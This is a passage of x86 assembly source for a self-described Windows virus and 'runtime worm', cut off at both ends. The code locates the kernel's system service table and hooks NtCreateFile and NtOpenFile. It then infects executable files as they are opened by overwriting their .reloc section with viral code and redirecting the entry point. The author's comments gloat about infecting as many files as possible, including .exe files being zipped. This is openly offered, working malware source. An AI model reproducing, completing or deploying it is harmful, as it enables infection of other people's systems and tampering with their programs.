;;;;;;;;;;;;;;;;;;;;;;;;
;eax = ntoskrnl base
GezApi eax,KeServiceDescriptorTableCRC,KSDTNameLen
mov [ebp + KeServiceDescriptorTable],eax
```

```
;;;;;;;;;;;;;;;;;;;;;;;;

;ill get SSDT from that service descriptor table

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[eax]
mov [ebp + SSDT],eax
;;;;;;;;;;;;;;;;;;;;;;;;

;now ill get from ntoskrnl the addr for NtCreateFile for searching in the table

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtCreateFileCRC,NCFNameLen
mov [ebp + NtCreateFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;

;now ill search in the SSDT the address of the entry of NtCreateFile where we will hook

;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
mov eax,[ebp + KeServiceDescriptorTable]
mov ecx,[eax + 8] ;number of services
mov edx,[ebp + NtCreateFileAddr]
SearchNtCreateFileEntry:
mov eax,[ebx + ecx*4 - 4]
cmp eax,edx
loopnz SearchNtCreateFileEntry
;ebx + ecx*4 -> entry
shl ecx,2
add ebx,ecx
;ebx -> entry
mov [ebp + NtCreateFileEntryAddr],ebx
;note we could have finished the entire table without finding the entry...becoz ecx = 0
;so we will compare again
mov eax,[ebx]
cmp eax,edx
jne ReturnWin32ksys
;;;;;;;;;;;;;;;;;;;;;;;;

;We hook NtCreateFile

;;;;;;;;;;;;;;;;;;;;;;;;
;ebx = address of entry of NtCreateFile in SSDT
lea eax,[ebp + NtCreateFileHookRutine]
mov [ebx],eax                                          ;in this moment we HOOK NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;


;and with NtOpenFile same thing

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtOpenFileCRC,NOFNameLen
mov [ebp + NtOpenFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
mov eax,[ebp + KeServiceDescriptorTable]
mov ecx,[eax + 8] ;number of services
mov edx,[ebp + NtOpenFileAddr]
SearchNtOpenFileEntry:
mov eax,[ebx + ecx*4 - 4]
cmp eax,edx
loopnz SearchNtOpenFileEntry
;ebx + ecx*4 -> entry
shl ecx,2
add ebx,ecx
;ebx -> entry
mov [ebp + NtOpenFileEntryAddr],ebx
;note we could have finished the entire table without finding the entry...becoz ecx = 0
;so we will compare again
mov eax,[ebx]
cmp eax,edx
jne ReturnWin32ksys
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
;ebx = address of entry of NtOpenFile in SSDT
lea eax,[ebp + NtOpenFileHookRutine]
mov [ebx],eax                                          ;in this moment we HOOK NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
callz GetApisRing0                      ;ill get some apis for no calling all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
callz DeleteWin32ksy                          ;i must delete win32k.sy if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
callz PayloadRing0
;;;;;;;;;;;;;;;;;;;;;;;;
```

```
;;;;;;;;;;;;;;;;;;;;;;;;
ReturnWin32ksys:
popad
popfd
ret             ;previosly i moved entry point adress of win32k.sys at position in stack
                        ;so this ret will fill eip with start point of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

NtOpenFileHookRutine:
;;;;;;;;;;;;;;;;;;;;;

pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookOF                       ;delta offset
doff_hookOF:
pop ebp
sub ebp,offset doff_hookOF
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtOpenFileAddr]
mov [ebp + HookRealAddr],eax   ;we put the jump to real code of NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;NTSTATUS NtOpenFile(
;                            OUT PHANDLE FileHandle,
;                            IN ACCESS_MASK DesiredAccess,
;                            IN POBJECT_ATTRIBUTES ObjectAttributes,
;                            OUT PIO_STATUS_BLOCK IoStatusBlock,
;                            IN ULONG ShareAccess,
;                            IN ULONG OpenOptions
;                         );


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
NtCreateFileHookRutine:

pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookCF                       ;delta offset
doff_hookCF:
pop ebp
sub ebp,offset doff_hookCF
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtCreateFileAddr]
mov [ebp + HookRealAddr],eax   ;we put the jump to real code of NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;


;NTSTATUS NtCreateFile(
;                            OUT PHANDLE FileHandle,
;                            IN ACCESS_MASK DesiredAccess,
;                            IN POBJECT_ATTRIBUTES ObjectAttributes,
;                            OUT PIO_STATUS_BLOCK IoStatusBlock,
;                            IN PLARGE_INTEGER AllocationSize OPTIONAL,
;                            IN ULONG FileAttributes,
;                            IN ULONG ShareAccess,
;                            IN ULONG CreateDisposition,
;                            IN ULONG CreateOptions,
;                            IN ULONG EaBuffer OPTIONAL,
;                            IN ULONG EaLength
;                    );
;

;this only for NtCreateFile:

;;;;;;;;;;;;;;;;;;;;;;;;
;i get some datas from parameters
mov eax,[esp + cPushad + cPushfd + 4 + 14h]
mov [ebp + AttributesFileRing0],eax        ;i get the attributes of file
mov eax,[esp + cPushad + cPushfd + 4 + 1ch]
mov [ebp + CreateDispositionFileRing0],eax   ;i get manner for opening the file
mov eax,[esp + cPushad + cPushfd + 4 + 20h]
mov [ebp + CreateOptionsFileRing0],eax             ;i get some more flags relative
;;;;;;;;;;;;;;;;;;;;;;;;                             ;to manner of opening the file


;;;;;;;;;;;;;;;;;;;;;;;;
;I want a existing file non directory
test dword ptr [ebp + CreateDispositionFileRing0],FILE_OPEN
jz StopInfectionRing0
```

```
;test dword ptr [ebp + CreateOptionsFileRing0],FILE_NON_DIRECTORY_FILE
;jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GeneralCodeForInfectionRing0:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
callz UnhookWhile                               ;ill unhook apis while hooking rutine coz for example
;;;;;;;;;;;;;;;;;;;;;;;;                ;if we call ZwOpenFile we will go to a infinite loop



;OBJECT_ATTRIBUTES {
;                            ULONG Length;
;                            PUNICODE_STRING ObjectName;
;                            HANDLE RootDirectory;
;                            PSECURITY_DESCRIPTOR SecurityDescriptor;
;                            PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
;                            ULONG Attributes;
;                        }
;
;UNICODE_STRING    {
;                            USHORT Length;     ;len in bytes of Buffer
;                            USHORT MaximumLength;
;                            PWSTR Buffer;
;                      }
;note if RootDirectory parameter is null,ObjectName has a fully qualified file specification,
;path+name,but if RootDirectory is non null,then ObjectName has only the name of the object
;relative to RootDirectory directory.
;when we call NtOpenFile we must use both RootDirectory and ObjectName.


;;;;;;;;;;;;;;;;;;;;;;;;
;Ill get the file name of the file i want to infect
mov edi,[esp + cPushad + cPushfd + 4 + 8]    ;edi -> ObjectAttributes
mov eax,[edi + 4]                                ;eax = RootDirectory
mov [ebp + RootDirectoryRing0],eax
mov esi,[edi + 8]                                        ;esi -> unicode string of the name
mov eax,[esi]
mov dword ptr [ebp + FileNameRing0],eax
lea edi,[ebp + StringRing0]                      ;edi -> our buffer for unicode string of name
mov dword ptr [ebp + FileNameRing0 + 4],edi
movzx ecx,word ptr [esi]                         ;ecx =  long of unicode string
mov esi,[esi + 4]
rep movsb                                                ;i copy the buffer
;;;;;;;;;;;;;;;;;;;;;;;;



;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv |quitar esto| vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
movzx ecx,word ptr [ebp + FileNameRing0]
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'x'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |quitar esto| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
;;;;;;;;;;;;;;;;;;;;;;;;
movzx ecx,word ptr [ebp + FileNameRing0]          ;I test if file is a .exe file
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
or  byte ptr [eax],20h
cmp byte ptr [eax],'e'                                  ;i would like this virus could
jne StopInfectionRing0                                  ;to infect .exe in .zip files too
dec eax                                                 ;coz as i said,i want this was a
dec eax                                                 ;runtime worm :P and in internet
or  byte ptr [eax],20h                                  ;usually we send compress files...
cmp byte ptr [eax],'x'                                  ;however i think that winzip for
jne StopInfectionRing0                                  ;example will call NtCreateFile
dec eax                                                 ;when compressing the .exe file :D
dec eax                                                 ;and in that moment we will stay
or  byte ptr [eax],20h                                  ;there for infect that file
cmp byte ptr [eax],'e'                                  ;muuuhaaaaahahahahahahaaaahaaahaa
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;

;int 1


;;;;;;;;;;;;;;;;;;;;;;;;
callz MapFileRing0                          ;map the file for infection ;)
or eax,eax
jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,eax
;ebx = Base of Mapped File        ;And now >:D one of that wonderful overelocing infections >:D
cmp word ptr [ebx],'ZM'           ;muuuuhaaahahaaaahahahahahaaaahahahahahahahahahaaahaaahaaaaha
jne CloseAndStopInfectionRing0  ;this virus will be better with a adding to last section
mov edi,[ebx + 3ch]               ;infection or with a create new section infection,cavity,....
add edi,ebx                              ;and any other infection not so restrictive as .reloc infection
;edi -> PE                               ;however lot of files have reloc section and we have hooked
cmp word ptr [edi],'EP'           ;NtCreateFile :D so we will be able to infect lot of files ;)
jne CloseAndStopInfectionRing0  ;so reloc is good :) however i say that,other infection as
cmp word ptr [edi + 8],'zv'       ;a simple adding to last section will be good.
je  CloseAndStopInfectionRing0  ;is it already infected?
mov ax,word ptr [edi + 16h]
test ax,00000002h                                ;yes IMAGE_FILE_EXECUTABLE_IMAGE
je CloseAndStopInfectionRing0
test ax,00001000h                         ;no IMAGE_FILE_SYSTEM
jne CloseAndStopInfectionRing0
test ax,00002000h                                ;no IMAGE_FILE_DLL
jne CloseAndStopInfectionRing0
mov ax,[edi + 5ch]
test ax,00000001h                           ;no IMAGE_SUBSYSTEM_NATIVE
jne CloseAndStopInfectionRing0

mov eax,[edi + 28h]                         ;EPoint of file
mov [ebp + EntryPoint],eax
movzx ecx,word ptr [edi + 6]
dec ecx
mov eax,edi
add eax,0F8h ;sections
GoToLastSectionRing0:
add eax,28h
loop GoToLastSectionRing0
;eax -> .reloc                              ;over-reloc infection
cmp [eax],'ler.'
jne CloseAndStopInfectionRing0
mov ecx,[eax + 10h]
cmp ecx,tamvirus
jb  CloseAndStopInfectionRing0
mov dword ptr [eax + 24h],040000040h    ;reloc not discardable,readable,writable
mov edx,[eax + 0ch]
mov [edi + 28h],edx                         ;RVA new entry point for file
mov edx,edi
mov edi,[eax + 14h]                         ;i copy the virus overwriting .reloc
add edi,ebx
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
;edx -> PE
mov word ptr [edx + 8],'zv'                 ;i mark the infection
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
CloseAndStopInfectionRing0:                 ;close and bye
callz CloseAllRing0
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
StopInfectionRing0:
callz RehookAgain
popad
popfd
push 12345678h
HookRealAddr = dword ptr  $ - 4
ret
```

```
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
;   edi = size of buffer
;out:
;   eax = cksum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:

        cld
      xor     ecx,ecx
      dec     ecx
        mov     edx,ecx
NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
      xor     al,cl
      mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
NoCRC:
      dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
      dec     edi
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc.
;in:
;   eax -> base of dll
;   edx = the crc32 of api to search.
;   ebx = api name len.
;out:
;   eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:

;eax -> base of dll
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov  ebx,[eax + 20h]
add  ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub  ebx,4
```

```
SearchApiByCRC:
add  ebx,4
mov  esi,[ebx]
add  esi,dword ptr [esp + 12]
CalcLenString
;ecx = length api.name
mov  edi,[esp + 4]
cmp  edi,ecx
jne  SearchApiByCRC
mov  edi,ecx
push ebx
push edx
callz CRC32
pop  edx
pop  ebx
cmp  eax,edx
jne  SearchApiByCRC
pop  edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in:
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.
;   ebx -> handle of the process whe
```